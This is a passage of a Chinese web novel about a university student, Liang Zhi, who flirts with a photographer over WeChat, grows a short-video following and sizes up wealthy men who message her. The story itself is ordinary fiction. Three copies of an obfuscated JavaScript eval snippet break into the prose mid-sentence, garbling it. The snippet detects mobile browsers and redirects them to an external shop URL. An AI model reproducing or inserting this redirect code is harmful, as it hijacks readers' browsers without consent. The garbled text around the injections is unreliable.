这么想着，她又夹起一块，正欲送入嘴中，目光看到了什么，一口没咬住，那块肠粉又掉入塑料盒子里，肠粉毫发无损，反倒是她，嘴角沾了点汁水。 梁芝有些手忙脚乱，放下盒子，忙去包里翻纸巾，视线里突然出现了一只净白修长的手，手指间夹着一包纸巾。 她睫毛颤了下，伸手接过，擦完唇角才抬头， “宋学长……” 宋樾川一身黑白相间的运动服，他个子很高，又是一站一坐的姿势，梁芝只好仰着脑袋去望他。 顶着路灯洒下的光，他外圈的发丝萦绕了一圈荧辉，剩下一半落到肩上，好似披着一层淡淡的霜。 只是这般居高临下地看着，眼神看不真切，和白天的感觉完全不同，添了几分疏离感。 梁芝立马将剩下的纸巾递回去，“谢谢学长。” 一小截露出的手腕，铃铛受到重力作用，随着她的动作，摇摇晃晃坠在下方。 宋樾川没说什么，接过她放在手心的纸巾。 “学长是在跑步吗？”她笑语盈盈地问他。 宋樾川扫过她的表情，试图看出些什么，目光渐深，“嗯。” 他每晚跑步都会经过这里，却没想到这次会碰见她。 “晚饭？”他眼神朝长椅上的餐盒示意。 “嗯，刚从图书案出来，食堂熄灯了，就去外面买了点。” 一直仰着脑袋脖子有点酸，梁芝心里还挂记着她没吃完的晚饭，担心凉了，视线一偏，落在宋樾川另一只手里攥着的手机上，说了这么久的话，屏幕还没自动熄屏，原来是在步道乐跑打卡么…… “学长的配速会不会要超了？”她贴心提醒。 宋樾川抬起手机看了眼，随即按灭屏幕，“不会。” 梁芝斟酌了下语言：“学长肯定跑得很快，但它毕竟取的是平均数。” 宋樾川深深看了她一眼，“不会是因为我已经跑完了。” 又被噎了下，梁芝索性不再出声。 随即转念一想，她又为什么不能在他面前吃东西呢？ 于是她低头，端起外层已经不怎么热的盒子。 见此，宋樾川眉梢忽得一扬。 她一边吃，一边无声地望向他，似乎是在催着他走。 身上落了灯光的并不止一人，她不知道外圈那层光晕将她照得像一朵毛茸茸的蒲公英。 “你在江城一中上的高中？” 梁芝动作一滞，眨眼：“学长怎么会知道？” 明显可见她神情僵了一瞬，宋樾川唇角挂起淡淡的弧度：“你和严望他们是一届的。” 梁芝突然觉得没了胃口。 原来他家确实有来头，只是……怎么认识的是严望那波人啊。 回到寝室。 耗光了今日份精力的梁芝，一想到明早还有课，也没心思再做别的，洗完澡，头刚挨到枕头便睡着了。 早上的闹钟一个接一个响起。 因疲惫而睡得格外舒服，梁芝醒来后，拉伸了下发酸的肩膀，满血复活。 今天的课比较轻松，上午需要展示的group work没轮到她们组，下午又只有一节公共课。 她垮上单肩包，和另外两个室友一起出门。 之前大家都一个班的还没什么感觉，可自从袁子琪转专业了，有了对比，梁芝才发觉她们课表排得有多泯灭人性，一周四天早八，真是要命。 走在去外院的路上，照例切到微信小号查看，结果一上线手机就震个不停，左下方的红点也在不停增加。 梁芝有些诧异，一看，除了推送的新闻，都是卫泾给她发的信息。 卫泾：【学完了没？】 卫泾：【都这么晚了，不会还没结束吧？】 卫泾：【劳逸结合。】 卫泾：【照片. jpg】 卫泾：【我新拍的。】 卫泾：【……】 卫泾：【撩过就跑？】 卫泾：【冷笑. jpg】 他单方面的消息直接占了满屏。 昨晚太累了，梁芝直接忘了还有这回事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724095|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主要她小号目前就两个人，先前加的何斐君高冷得不行，几乎没怎么说过话，没想到这个……这么话痨。 梁芝只好回：【昨天自习到很晚，手机后来快没电了，就没怎么看。】 梁芝：【回去后又太累，不小心睡着了。】 梁芝：【抱歉，不是故意不回的。】 梁芝原以为最起码要到中午才能收到他的回复，不料第一节课下课就收到了信息。 卫泾：【你的手机怎么总是没电，充电宝呢？】 卫泾：【我这很多，不行我下次带几个给你。】 梁芝：【不用啦，我有充电宝的。】 卫泾：【那看来是丢三落四。】 卫泾：【我这个好心人就做到底，以后提醒你怎么样？】 卫泾：【靠谱还免费。】 梁芝：【其实也不用了。】 卫泾拿着手机，冷笑一声敲下：【你不识好人心。】 梁芝：【之前没有什么特别到需要及时回复的人，我也不依赖电子产品，所以总觉得充电宝可有可无。】 梁芝：【但现在会记得带的。】 梁芝：【认真. jpg】 卫泾看着信息，顿了顿。 这算情话吗……算吧，不然他怎么听着这么心动。 不对，不是，这人怎么总是一本正经地撩人。 盘旋在他心口一整夜的灰色心情被一扫而空。 梁芝：【还生气吗？】 梁芝：【探头. jpg】 ……为什么他光看表情包，就能联想到她做这个动作的模样，还能立马被可爱到。 卫泾拍了拍自己发烫的脸颊，嘴角上扬，回：【这样还怎么生气？】 卫泾：【认输. jpg】 梁芝点开他之前发来的照片，是一张夜景，楼影幢幢，灯火星星点点，弯月高悬于天。 梁芝：【新拍的照片也很好看。】 梁芝：【对了，我这周想约老师拍一组照片，到时候可以找你参谋吗？】 卫泾：【什么老师？】 梁芝：【摄影的老师。】 卫泾：【约好了？】 梁芝：【还没找。】 卫泾：【……那你为什么不找我？】 卫泾：【我这么一个有颜有才的摄影师摆你面前，你都看不见，还想找别人，别人能比我更好吗？】 梁芝微微勾唇。 梁芝：【可是约你感觉很贵。】 梁芝：【可以打折吗？】 卫泾：【……我不要钱，还倒贴。】 梁芝：【哇. jpg】 卫泾看着又好气又好笑。 卫泾：【别哇了，留着等见面再哇吧。】 梁芝收起手机，看来后面视频的素材不用担心了。 19. 涨粉 发短视频，视频内容是主体，但也不能忽略了配乐和文案。 梁芝每次刷到可以用上的，都会收藏起来。 虽然其中一部分挺抽象，也有的挺油腻，但这样反倒会有话题度。 根据这次照片的风格，梁芝挑挑拣拣，最终选定文案为—— “起初，我也只知道你的名字。” 再配上有宿命感的遗憾伤感音乐，带上tag，就有疼痛文学那味道了。 先是县城文学，现在是疼痛文学，她虽外表不够一眼惊艳，但可以包装自己。 这也算是一种营销手段。 好比某些品牌先抛出一个吸引人的故事、传说、或者功效，什么都可以，只要足够迷人，足够激发大众的兴趣；再将其联系到需要营销的事物上，便可将事物的价格抬升至十倍、百倍。 放在她身上就是，她给大众创造了一种朦朦胧胧的氛围，让他们在刷到时与自身的想象力进行链接，联想到某些画面、情节或情感；进而对她的视频产生共鸣、喜爱之类的有益情绪，最后爱屋及乌，喜欢上她这个人。 编辑好，梁芝点击确认发送。 左上角加载的进度从百分之零慢慢转至百分之百。 视频刚发出去，浏览量还是零。 明亮晶莹的瞳孔里倒映着屏幕的蓝光，梁芝多少有些期待跟紧张。 希望明早起来可以有个好结果。 她这么想着，将手机放在床头充电，盖好被子，进入了梦乡。 只是心里装着事总容易睡不踏实，也不知是几点，梁芝毫无防备地醒了，寝室里静悄悄的，入眼一片漆黑。 她平躺着，眨了几下眼，伸手去摸手机，拿起一看，才四点多。 没了睡意，梁芝动作轻柔地坐起身，打开音符—— 新关注我的、互动消息以及陌生人消息全是一片红色的99+。 这在她预料之内，就是不知道具体涨了多少…… 她抿起唇，眉毛因紧张微微皱着，往常总是柔柔舒缓的脸上显出几分郑重，手指点进主页。 看清粉丝量后，梁芝紧绷的神情瞬间放松下来，唇角不自觉漾开一抹笑。 床帘围出的逼仄空间里，墙壁发灰，床边的铁架生锈脱落了一块，独属于她的欢喜就在破旧的环境下静悄悄地扩散着。 2.5万粉丝，不到一晚就涨了两万粉。 视频浏览量也破了百万，现在是12.3万的点赞。 这对她来说，是一个质的进步。 而且还在陆陆续续地涨。 梁芝看了眼评论区—— “天呐姐姐，不，妹妹……怎么有股又姐又妹的感觉[笑哭] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724096|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [笑哭]不过确实有韵味[赞]” “这是相机拍的还是后期调的滤镜啊？” “好有气质啊啊啊啊啊啊” “她的眼里好像有破碎的光[捂嘴哭]” “好家伙，一看就有个赌博的爸，不争气的弟弟，隔壁还有个青梅竹马[狗头][狗头]” “……” 她的视线在最后一条评论上停留了一会儿，又迅速移开往下刷。 评论整体风向还不错，至于私信……太多了，一时看不过来，梁芝打算等白天单独抽个时间再看。 看到了结果，她的心也定了，或许还能黎明到来前睡个回笼觉。 — 拎着一个大箱包从出站口直接转进地铁，男人身高一米九，长相称得上漂亮，留着长发，身穿一件黑色风衣，走路带风，气场十足，好似从某个时装周走出来的男模。 只是细看下，就会发现一些违和的地方。 他的长发近期显然没怎么精心打理过，发尾粗糙，风衣后面蹭了点灰，尤其值得一提的是脚上那双鞋，脚底磨损严重，鞋面也脏兮兮的，沾了一大滴不知名的灰色污渍。 电子屏提示下一班地铁还有三分钟到达。 男人掏出手机，对着反光玻璃拍了张照片，发朋友圈—— “半年后的回归。” 20.私信 梁芝的后台收到了许多私信。 虽说真正有钱有权之人不屑于在网上撒网捞鱼，毕竟现实生活里的软香温玉就足够迷人眼了，但一口吃不成一个胖子，梁芝觉得没必要将目标定得那么高。 厉害的人不好遇到，可有点小钱的二代、事业有成的精英阶级还是比较容易的。 十条私信里可能没有，那一百条呢，一千条呢，基数大了，就算是偶发事件也可能遇到。 只是如何从中精准挑出可持续发展的优质股也是一个问题。 根据账号和字里行间透出的信息，梁芝陆陆续续给了一些人联系方式。 第一个男人，点进朋友圈一看，最新一条是在柜台买单的照片—— 一双白手套捧着礼盒对镜头展示，里面躺着一条沉香手串，下张是堆满整个后备箱的大包小包手提袋。 配文‘给小王总准备点礼物’。 往前翻，绿色的牌桌上散落着圆形的筹码。 再往前，一张聊天记录，世界杯给人转了五十万让帮忙买球，文案却是吐槽又打水漂了。 聊了几句，男人年纪二十七八，说：“下周三亚那边有个漫展活动，有兴趣参加吗？” “你的形象很适合，机票酒店这边全包，还有佣金。上学没事儿，请个几天假，就当给自己放个假了。” “既然真没兴趣，那也不强求。” “平时喜欢哪个牌子的包包，挑一个吧，顺便看看别的有什么想要的。就当交个朋友了，以后有空出来一起吃个饭。” 梁芝通通拒绝后，对面也就没了下文。 什么漫展活动，不过是个幌子。 第二个，朋友圈有全身照，照片上看着个子挺高，戴着个大墨镜，笑容灿烂，长相也不错，背景是绿意盎然的大自然。 还有运动照、骑行照、精致的美食照配上点评某家高端餐厅的文案，展示自己的高品位，以及时不时露出的能展现自己实力的牌子货、出入的高端场所。 男人喜欢发语音，还是个标准的渣男音，又低又沉：“才十九岁么，那我比你大些，不过前段时间才搞了一个二十的女友。” “为什么用搞？”男人轻笑了下，那语气有轻蔑，有自以为高高在上的傲慢：“因为实在是太小了，跟我身边圈子的各个方面都差太多了。” “我啊给她买衣服还要求着她穿……”他夹那口磁性的气泡音，那股想当爹的味道几乎快溢出来了：“她平时穿的那些没质感，也没什么特色，我倒是有心想好好帮帮她……” 第三个，朋友圈很简单，几乎什么有用的信息都没有。 男人说：“你现在在江城吗？” “你人长得挺漂亮，没有谈个男朋友吗？” “看来你身边的男孩子不怎么给力。不过也好在他们不给力，这才给我留了能献殷勤的机会。” “平时喜欢做什么呢？有什么爱吃的？火锅，那不是巧了嘛，刚好我开了家火锅店。” “……” “晚上有空出来喝酒么，我开车去接你。” “保时捷卡宴照片” 梁芝默默删除了这些人的聊天框，却没删除他们的微信。 这几个实在算不上什么优质股，该不会努力这么久却是白忙活一场吧…… 室友问她要不要一起去吃饭，朝气蓬勃的声音一下冲淡了她的郁闷和因这些人升起的那股不适。 梁芝立马应道：“好呀！” 食堂里弥漫着有锅气的饭菜香味，十元一份的两素一荤就能吃饱一餐。 “下个月五一放假你们都回家吗？” “我回家。” “啊！我刚要说梁芝不算，”戴若梦语气夸张：“你住本地肯定会回家嘛，你们呢？” 她将视线投向另外两人。 丁香摇了摇头，声音较弱：“我不回家。” 袁子琪接过话：“回去吧，待在宿舍也很无聊。” “哦……”戴若梦低头，拨了两下盘子里的饭菜，“我打算去见我对象，不过其实我也还没想好……” “那不是挺好的吗，还可以顺便玩几天。” “对呀。” 戴若梦神情松动了些，但还是有几分纠结，她突然问：“梁芝，你、你和你之前那个对象……” 梁芝抬起头，望向她：“怎么了？” “你们、AA吗？”她有些别扭，“就是我回家的车票不到三百，但见他来回要八百多，到时候还有很多别的开支……” 梁芝瞬间了然，斟酌语言道：“每对情侣之间的相处模式不同，也不能一概而论……总之别让自己吃亏就行。” 这句话让戴若梦愿意继续说下去，打开了话匣：“主要前段时间他过生日，我攒钱给他买了他一直想要的东西，可他什么表示都没有，我有点心理不平衡。” 梁芝能理解她的心情，但她一心只想着怎么让男人给她花钱，还从来想过攒钱给他们花。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726621|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “为什么不是他来找你？” “因为上一次他来找我了，所以这次换我去找他。” 梁芝顿了顿，“这是你们专门约好的吗？” “也不是，算默认的。” “那你要不要试着跟他说，想让他来找你？” 戴若梦眸光闪了闪，“这要怎么说，我不好意思开口……” 梁芝吃好了，从口袋里拿出一包纸巾，自己抽出一张，也给另外两人递了一张，最后将一张放在戴若梦面前，“那你是愿意让自己受委屈，一直内耗，还是鼓起勇气问他一次？” “如果他给的答案是好的，那自然最好不过了，如果让你失望了，”梁芝看着她的眼睛，浅笑道：“那不是刚好不用纠结了。” 戴若梦看她愣神，反应过来也笑了：“你说的有道理。” 她重新振作，恢复了元气：“好！我回去就问他！” 四人把餐盘送到回收处后，又一起结伴回寝室。 梁芝在自己椅子上坐下，切到小号看消息，现在小号上的联系人多了后，她切号的频率也多了，有时会觉得不太方便。 她这边刚坐下，室友那边就开始讨论起了八卦。 梁芝拒绝不了八卦的诱惑，拉开帘子，边看手机，边和几人面对面，听她们聊天。 卫泾：【又在学习？】 卫泾：【别忘了我音符给你分享的视频。】 卫泾：【今天就是第三天了，你回完我，咱俩就能有小火花了。】 往下翻，在众多红点消息里，梁芝注意到了突出的一条。 江上月：【給個備註。】 梁芝：【为什么是繁体？】 这人头像是雨中撑着一把黑伞的风衣男人的背影，画面朦胧，似乎用了某种颗粒感的滤镜处理。 她点进他的朋友圈，背景图片是一只侧身的纯黑乌鸦。 往下翻，最新一条朋友圈文案是‘半年後的回歸’，配的照片完全看不清面容，但看可以看出身形十分高大，头快顶到地铁里玻璃的末端了。 再往下，还有他托着酒杯的照片，手掌宽大有力，引人瞩目的是他拇指上戴了一圈金属戒指，戒指以关节为分界线，分为两部分，好似突出的骨骼。 后面是他自己写的文字，有随笔，有短诗。 但梁芝看着倏地起了一身鸡皮疙瘩，用词似乎有点矫情……至于内容…… “你们知道不，孟南初和宋樾川分手了。”